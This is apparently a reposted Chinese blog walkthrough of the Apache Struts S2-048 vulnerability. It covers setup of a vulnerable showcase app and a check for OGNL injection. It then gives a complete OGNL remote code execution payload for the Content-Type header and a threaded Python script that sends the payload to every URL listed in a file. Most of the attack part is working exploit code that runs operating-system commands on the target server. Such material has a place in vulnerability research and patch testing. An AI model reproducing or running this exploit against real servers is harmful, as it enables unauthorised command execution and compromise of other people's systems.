Struts-S2-048漏洞测试
来源:互联网 发布:电厂仿真软件 编辑:程序博客网 时间:2024/05/18 03:30
这个是7月份爆出的漏洞了。
可以远程执行代码,想想就很厉害的样子。
一、环境搭建。
tomcat / jdk /Struts-2.3.24-apps.zip
tomcat和jdk直接跳过了 包含漏洞环境的安装包下载地址:http://download.csdn.net/download/qq1124794084/9969407
下载解压完成后,把struts2-showcase.war包放在 webapp目录下,然后重启tomcat就自动解压了
这时就可以通过浏览器直接访问漏洞触发点http://ip地址:8080/struts2-showcase/index.action
Gangster Name这个地方就是漏洞的触发点了。 我们试试用OGNL表达式,例如${9/3}
可以看到${9/3}被执行了。
所以我们可以在提交这个请求的时候截包,修改为我们漏洞利用的代码。
截包后我们把Content-type修改为我们的POC代码
%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}POC是我网上找的。
可以看到,我在POC中请求执行cmd的ipconfig命令,,结果返回了。
python s-048测试脚本:
# -*- encoding: utf-8 -*-import requestsimport threadingdef poc(url): header = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.104 Safari/537.36", "Content-Type":"%{(#szgx='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='echo struts-048').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.close())}" } data = {'name':'name=%24%7B9%2F3%7D&age=111&__checkbox_bustedBefore=true&description=111'} try: r = requests.post(url,headers=header,data=data,timeout=5) html = r.text except: html = "" if "struts-048" in html: print "[%s]发现Struts 048漏洞"%url if __name__ == "__main__": with open("url.txt","r") as f: urls = f.readlines() for url in urls: threading.Thread(target=poc,args=(url,)).start()
阅读全文
0 0
- Struts-S2-048漏洞测试
- struts s2-045漏洞修复
- struts漏洞修补过程之S2-016
- Struts漏洞修补过程之S2-016
- Struts S2-016 远程任意命令执行漏洞检测代码
- 关于S2-045漏洞struts版本升级注意事项
- struts2 最新漏洞 S2
- S2-033漏洞分析
- struts2 S2-045漏洞
- s2-045漏洞分析
- Apache Struts 2 S2-045 高危漏洞利用工具poc+Exp
- Struts 2 S2-045 Jakarta插件远程代码执行漏洞加固方法
- Struts S2-052漏洞利用方式实验解析(附EXP)
- Struts2漏洞S2-016和S2-017
- struts2 s2-45漏洞利用
- Struts2 S2-052漏洞分析
- 漏洞分析马后炮 s2-045漏洞分析
- struts漏洞
- GitHub(一)初识GitHub
- Python进程和线程
- JN项目配置-公司是maven项目
- 【备忘】传智播客黑马程序员28期JavaEE基础及就业班视频教程
- zigbee知识介绍
- Struts-S2-048漏洞测试
- mysql创建存储过程
- k最邻近算法——使用kNN进行手写识别
- ubuntu sublime text 3的安装
- Linux 常用命令总结
- for和foreach的效率比较
- 解决api-ms-win-crt-runtimel1-1-0.dll缺失的方法 api-ms-win-crt-runtime-l1-1-0.dll是电脑系统重要组件,如果缺少会导致很多程序无法运行,
- 关于安装jdk配置环境的作用
- java实体类生成工具